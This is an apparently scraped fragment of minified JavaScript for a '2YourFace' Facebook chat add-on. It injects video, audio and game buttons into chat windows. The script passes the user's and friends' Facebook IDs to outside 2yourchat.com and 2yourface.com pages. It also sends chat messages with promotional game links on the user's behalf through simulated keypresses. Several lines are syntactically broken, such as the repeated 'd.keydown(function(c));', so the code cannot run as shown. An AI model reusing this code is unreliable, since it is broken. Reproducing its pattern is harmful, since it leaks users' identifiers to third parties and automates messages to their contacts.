this.readyState||"loaded"==this.readyState)&&scriptLoadHandler()};(document.getElementsByTagName("head")[0]||document.documentElement).appendChild(a)}null==document.getElementById("ChatDialog")&&(a=document.createElement("div"),a.id="ChatDialog",a.setAttribute("style","display:none;top: 15%;left: 35%;width: width:484px;background:url('http://www.2yourface.com/Plugin/images/outer_bg.png');border-radius:8px;padding:9px;overflow: auto;"),document.body.appendChild(a))}} function onscroll(){var a=document.body.scrollTop,b=window.jQuery("div#ChatDialog",document);b.position();b.offset({left:0.35*document.body.clientWidth,top:a+200})}function IsScriptInstalled(){return-1!=document.body.innerHTML.indexOf("ChatDialog")}function scriptLoadHandler(){jQuery=window.jQuery.noConflict(!0);OnTimeout()} function Process(){var a=-1,b=document;if(""==gMyName){var c=getElementsByClassName("headerTinymanName");0<c.length&&(gMyName=c[0].innerHTML)}c=window.jQuery("div#fbDockChat",b);b=window.jQuery("div.fbDockChatTab",c);0==b.length&&(b=window.jQuery(".fbNubFlyout.fbDockChatTabFlyout",c));if(null!=b)for(c=0;c<b.length;c++){var d=window.jQuery("div.fbNubFlyout",b[c])[0];null==d&&(d=window.jQuery(".fbNubFlyoutOuter",b[c])[0]);d.innerHTML.indexOf("textarea");var e=window.jQuery("div.fbNubFlyoutTitlebar", d),i=window.jQuery("span.titlebarText",e),a=GetUIDFromName(f);if(-1==a){var f=d.innerHTML,h="/messages/",g=f.indexOf(h);-1!=g?(g+=h.length,a=f.indexOf('"',g),a=f.substring(g,a)):(h="?id=",g=f.indexOf(h),-1!=g&&(g+=h.length,a=f.indexOf('"',g),a=f.substring(g,a)))}var f=GetFriendName(e.html());""==f&&(f=i.html());-1==a&&(a=GetUIDFromName(f));AddToolbar(d,f,a);ParseInvitations(d,f,a)}} function GetUIDFromName(a){var b=window.ChatUserInfos,c;for(c in b)if(b.hasOwnProperty(c)&&a==b[c].name)return c;return-1}function isValidWebsite(){return-1!=window.location.href.indexOf("facebook.com")}function OnTimeout(){m_lastTimeout=new Date;-1!=window.location.href.indexOf("facebook.com")&&(!1==IsScriptInstalled()&&Start(),setTimeout("OnTimeout()",2500),Process())} function GetFriendName(a){var b=a.indexOf('<a class="titlebarText'),b=a.indexOf(">",b+22),b=b+1,c=a.indexOf("<",b);return a.substring(b,c)}function SendSmiley(a){sendMsg(gSmileyMSG,a)} function AddToolbar(a,b,c){a=window.jQuery("div.fbNubFlyoutBody",a);b='<div style="height:18px;" class="fbNubFlyoutBody" /><div id="VideoChatToolbar_'+c+'" class="fbNubFlyoutBody11" style="height:18px;top:0px;background:#6d84b4;">'+('<div style="left:20px;top:0px;"><img src="http://www.2yourface.com/Plugin/images/circle.png" alt="Video Chat" title="Video Chat with '+b+'"/></div>')+('<div style="left:65px;top:0px;"><img src="http://www.2yourface.com/Plugin/images/circle.png" alt="Audio Chat" title="Audio Chat with '+ b+'" /></div>')+('<div style="left:110px;top:0px;"><img src="http://www.2yourface.com/Plugin/images/circle.png" alt="Games" title="Play Games with '+b+'" /></div>')+('<div style="left:155px;top:0px;"><img src="http://www.2yourface.com/Plugin/images/circle.png" alt="Games" title="Send a Smiley to '+b+'" /></div>')+('<div style="width:26px;height:30px;left:23px;top:-21px;cursor:pointer" ><a href=\'javascript:InviteVideo('+c+',"'+b+'");\'><img src="http://www.2yourface.com/Plugin/images/video.png" alt="Video Chat" title="Video Chat with '+ b+'" /></a></div>')+('<div style="width:24px;height:30px;left:72px;top:-21px;cursor:pointer" ><a href=\'javascript:InviteCall('+c+',"'+b+'");\' ><img src="http://www.2yourface.com/Plugin/images/audio.png" alt="Video Chat" title="Audio Chat with '+b+'" /></a></div>')+('<div style="left:110px;top:-21px;cursor:pointer" ><a href=\'javascript:InviteGames('+c+',"'+b+'");\' ><img style="width:24px;height:20px;left:5px;top:5px;" src="http://www.2yourface.com/Plugin/images/games.png" alt="Games" title="Play Games with '+ b+'" /></a></div>')+('<div style="width:24px;height:30px;left:155px;top:-20px;cursor:pointer" ><a href=\'javascript:SendSmiley('+c+');\' ><img src="http://addon.2yourface.com/Plugin/images/smiley.png" alt="Video Chat" title="Send Smiley to '+b+'" /></a></div>')+'<div style="width:24px;height:30px;left:200px;top:0px;" ><img src="http://www.2yourface.com/Plugin/images/tblogo.png" alt="Video Chat" title="2YourFace.com" /></div>';c=a.parent().html();a.next().children(); -1==c.indexOf("VideoChatToolbar")&&(a.height(197),a.after(b))}function ParseInvitations(a,b,c){for(var a=window.jQuery("div.fbChatMessage.fsm",a),d=0;d<a.length;d++)TryParseInvitation(a[d],c,b)}function TryParseSmileyInvitation(){return!1}function TryParseInvitation(a,b,c){TryParseSmileyInvitation(a,b,c)||TryParsePhoneCallInvite(a,b,c)||TryParseVideoInvite(a,b,c)||TryParseGameInvite(a,b,c)} function GetGameFromMessage(a){var b=a.indexOf(gGameInviteMsgPrefix);if(-1!=b){var b=b+gGameInviteMsgPrefix.length,c=a.indexOf(".");return a.substring(b,c)}return""} function TryParseGameInvite(a,b,c){var d=a.innerHTML;if(-1!=d.indexOf(gGameInviteMsgPrefix)){var e=IsMe(a),d=GetGameFromMessage(d);e?d="You have invited "+c+" to play "+d:(e=GetGameID(d),d=c+" invited You to Play "+d+" <a href='javascript:AcceptGame("+e+',"'+Env.user+'","'+b+'","'+gMyName+"\")' > Accept</a>");a.innerHTML=d;return!0}return!1} function TryParsePhoneCallInvite(a,b,c){var d=a.innerHTML;return-1!=d.indexOf(gPhoneCallInviteMsgPrefix)?(d=IsMe(a)?"You have invited "+c+" to an Audio Chat":c+" invited You to an Audio Chat <a href='javascript:StartPhone("+b+',"'+c+"\")' > Accept</a>",a.innerHTML=d,!0):!1}function StartPhone(a,b){OpenVoiceDialog(a,"http://graph.facebook.com/"+a+"/picture",b)}function StartVideo(a,b){OpenVideoDialog(a,"http://graph.facebook.com/"+a+"/picture",b)} function OpenVideoDialog(a,b,c){OpenDialog("http://www.2yourchat.com/Conversation/Video.aspx?rid=1&channel=1008&callType=Video&runtime="+a+"&from="+Env.user,395,215,b,c,"Video Chat")}function OpenVoiceDialog(a,b,c){OpenDialog("http://www.2yourchat.com/Conversation/Video.aspx?rid=1&channel=1008&callType=Voice&runtime="+a+"&from="+Env.user,395,215,b,c,"Audio Chat")} function OpenDialog(a,b,c,d,e,i){b='<div style="color:#fff;font-size:14px;padding:5px;background:#8097c1;border:1px #4f6fa3 solid;border-bottom-color:#718bba;font-weight:bold">'+i+' - Powered By 2YourFace.com </div> <div style="border:1px #656669 solid;border-top-color:#afbdd6;background:#fff"><div style="padding:5px;background:#f5f5f5;border-bottom:1px #dcdcdc solid;"><img src="'+d+'" style="border:1px #dcdcdc solid;float:left;vertical-align:center;margin-right:15px"><div style="font-size:9pt;color:#444;margin-top:5px">Chatting with:</div><div style="font-size:18px;font-weight:bold;color:#4065a4;margin-top:3px">'+ e+'</div><div style="clear:both"></div><div style="right:10px;top:18px;width:59px;height:25px;cursor:pointer"><iframe src="http://www.facebook.com/plugins/like.php?app_id=160947667310175&amp;href=http%3A%2F%2Fwww.2yourface.com&amp;send=false&amp;layout=box_count&amp;width=450&amp;show_faces=false&amp;action=like&amp;colorscheme=light&amp;font&amp;height=90" scrolling="no" frameborder="0" style="top:-17px;border:none; overflow:hidden; width:50px; height:90px;" allowTransparency="true"></iframe></div></div><div style="height:215px" id="ChatDlgInside">'+ ("<iframe src='"+a+"' width='"+b+"' height='"+c+"' scrolling='no' border='no' style=\"background-color:white;border:0px;\" />")+'</div><div style="padding:5px 10px;background:#f5f5f5;border-top:1px #dcdcdc solid;text-align:right"><a href=javascript:void" onclick="CloseDialog();" ><img src="http://www.2yourface.com/Plugin/images/close.png" style="cursor:pointer"></a></div>';a=window.jQuery("div#ChatDialog",document);a.html(b);b=a[0];b.style.visibility="visible";b.style.display="block";b=document.body.scrollTop; c=a.position();d=document.body.clientWidth;d=50>c.left?document.body.clientWidth/3:0.35*document.body.clientWidth;a.offset({left:d,top:b+200})}function CloseDialog(){document.body.style.display="block";document.getElementById("ChatDialog").style.display="none";document.getElementById("ChatDialog").innerHTML=""} function IsMe(a){var b=-1!=a.parentNode.parentNode.innerHTML.indexOf('title="You"');return b=(b=b||-1!=a.parentNode.parentNode.innerHTML.indexOf('alt="'+gMyName+'"'))||-1!=a.parentNode.parentNode.innerHTML.indexOf("_"+Env.user+"_")}function TryParseVideoInvite(a,b,c){var d=a.innerHTML;-1!=d.indexOf(gVideoCallInviteMsgPrefix)&&(d=IsMe(a)?d="You have invited "+c+" to a Video Chat":c+" invited You to a Video Chat <a href='javascript:StartVideo("+b+',"'+c+"\")' > Accept</a>",a.innerHTML=d)} function InviteCall(a,b){-1==a&&(a=GetUIDFromName(b));var c="I "+gPhoneCallInviteMsg;if(sendMsg(c,a))OpenVoiceDialog(Env.user,"http://graph.facebook.com/"+a+"/picture",b);else{var d=window.jQuery("#VideoChatToolbar_"+a,document).next().children().children();d.focus();d.keydown(function(c));TextAreaControl.getInstance(d[0]).setValue(c)}} function GetMyID(){var a=document.body.innerHTML.indexOf('detect_broken_proxy_cache("'),a=a+"30",b=document.body.innerHTML.indexOf('"',a);return document.body.innerHTML.substring(a,b)} function InviteVideo(a,b){-1==a&&(a=GetUIDFromName(b));var c="I "+gVideoCallInviteMsg;if(sendMsg(c,a))OpenVideoDialog(Env.user,"http://graph.facebook.com/"+a+"/picture",b);else{var d=window.jQuery("#VideoChatToolbar_"+a,document).next().children().children();d.focus();d.keydown(function(c));TextAreaControl.getInstance(d[0]).setValue(c)}} function InviteGames(a,b){-1==a&&(a=GetUIDFromName(b));OpenGamesDialog(a,Env.user,"http://graph.facebook.com/"+a+"/picture",b)} function sendMsg(a,b){if("undefined"!=typeof window.chatDisplay)chatDisplay.tabs[b].chatInput.value=a,chatDisplay.tabs[b].sendInput();else{var c=window.jQuery("#VideoChatToolbar_"+b,document).next().children().children();c.focus();c[0].value=a;c.focus();var d;document.createEvent?(d=document.createEvent("Events"),d.initEvent("keydown",!0,!0)):d=document.createEventObject();d.view=window;d.altKey=!1;d.ctrlKey=!1;d.shiftKey=!1;d.metaKey=!1;d.keyCode=13;d.which=13;document.createEvent?c[0].dispatchEvent(d): c[0].fireEvent("onkeydown",d)}return!0}function OpenGame(a,b,c){b=GetGameName(a);b="I "+gGameInviteMsgPrefix+b+". Accept Now: "+gGameLink+b+gGameLinkSuffix;CloseDialog();var d=Env.user;if(sendMsg(b,c))StartGame(a,d,c,gMyName);else{var e=window.jQuery("#VideoChatToolbar_"+c,document).next().children().children();e.focus();e.keydown(function(b));TextAreaControl.getInstance(e[0]).setValue(b)}} function AcceptGame(a,b,c,d){window.open("http://www.2yourface.com/games/game.php?id="+b+"&first="+c+"&second="+b+"&nick="+d+"&game="+a,"mywindow","scrollbars=no,menubar=1,resizable=1,width=890,height=720")}function StartGame(a,b,c,d){window.open("http://www.2yourface.com/games/game.php?id="+b+"&first="+b+"&second="+c+"&nick="+d+"&game="+a,"mywindow","scrollbars=no,menubar=1,resizable=1,width=890,height=720")} function GetGameName(a){return 2==a?"Chess":1==a?"Backgammon":6==a?"Checkers":26==a?"Tic Tac Toe":86==a?"Darts":325==a?"Domino":256==a?"8-Ball":225==a?"Poker":"Game"}function GetGameID(a){return"Chess"==a?2:"8-Ball"==a?256:"Backgammon"==a?1:"Checkers"==a?6:"Tic Tac Toe"==a?26:"Darts"==a?86:"Domino"==a?325:"Poker"==a?225:1} function OpenGamesDialog(a,b,c,d){b="<style type='text/css' >#ex5 img { margin: 5px; opacity: 0.8; border: 10px solid #eee;/*Transition*/-webkit-transition: all 0.5s ease; -moz-transition: all 0.5s ease; -o-transition: all 0.5s ease;/*Reflection*/ -webkit-box-reflect: below 0px -webkit-gradient(linear, left top, left bottom, from(transparent), color-stop(.7, transparent), to(rgba(0,0,0,0.1)));}#ex5 img:hover { opacity: 1; /*Reflection*/ -webkit-box-reflect: below 0px -webkit-gradient(linear, left top, left bottom, from(transparent), color-stop(.7, transparent), to(rgba(0,0,0,0.4))); /*Glow*/ -webkit-box-shadow: 0px 0px 20px rgba(255,255,255,0.8); -moz-box-shadow: 0px 0px 20px rgba(255,255,255,0.8); box-shadow: 0px 0px 20px rgba(255,255,255,0.8);}</style>"+('<div style="color:#fff;font-size:14px;padding:5px;background:#8097c1;border:1px #4f6fa3 solid;border-bottom-color:#718bba;font-weight:bold"> Choose a Game and Play - Powered By 2YourFace.com </div> <div style="border:1px #656669 solid;border-top-color:#afbdd6;background:#fff"><div style="padding:5px;background:#f5f5f5;border-bottom:1px #dcdcdc solid;"><img src="'+ c+'" style="border:1px #dcdcdc solid;float:left;vertical-align:center;margin-right:15px"><div style="font-size:9pt;color:#444;margin-top:5px">Choose a Game and Play with:</div><div style="font-size:18px;font-weight:bold;color:#4065a4;margin-top:3px">'+d+'</div><div style="clear:both"></div><div style="right:10px;top:18px;width:59px;height:25px;cursor:pointer"><iframe src="http://www.facebook.com/plugins/like.php?app_id=160947667310175&amp;href=http%3A%2F%2Fwww.2yourface.com&amp;send=false&amp;layout=box_count&amp;width=450&amp;show_faces=false&amp;action=like&amp;colorscheme=light&amp;font&amp;height=90" scrolling="no" frameborder="0" style="top:-17px;border:none; overflow:hidden; width:50px; height:90px;" allowTransparency="true"></iframe></div></div><div style="height:215px" id="ChatDlgInside">')+ "<div id='ex5' style='background-color:gray;height:220px;width:400px;' ><br/><br/>"+GetGameOfferHTML(2,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_chess.jpg",d,a);b+=GetGameOfferHTML(1,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_backgammon.jpg",d,a);b+=GetGameOfferHTML(256,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_snooker.jpg",d,a);b+=GetGameOfferHTML(325,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_domino.jpg", d,a);b=b+"<br/>"+GetGameOfferHTML(6,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_checkers.jpg",d,a);b+=GetGameOfferHTML(26,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_tic.jpg",d,a);b+=GetGameOfferHTML(86,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_darts.jpg",d,a);b+=GetGameOfferHTML(225,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_poker.jpg",d,a);b+='</div></div><div style="padding:5px 10px;background:#f5f5f5;border-top:1px #dcdcdc solid;text-align:right"><a href=javascript:void" onclick="CloseDialog();" ><img src="http://www.2yourface.com/Plugin/images/close.png" style="cursor:pointer"></a></div>'; a=window.jQuery("div#ChatDialog",document);a.html(b);d=a[0];d.style.visibility="visible";d.style.display="block";d=document.body.scrollTop;b=a.position();c=document.body.clientWidth;c=50>b.left?document.body.clientWidth/3:0.35*document.body.clientWidth;a.offset({left:c,top:d+200})} function GetGameOfferHTML(a,b,c,d){return"<a style='top:-20px;' href=\"javascript:OpenGame("+a+",'"+c+"' ,"+d+')" ><img style="width:70px;height:70px;" src=\''+b+"' title=\"Invite "+c+" to play "+GetGameName(a)+'" /></a>'};


Rss_feed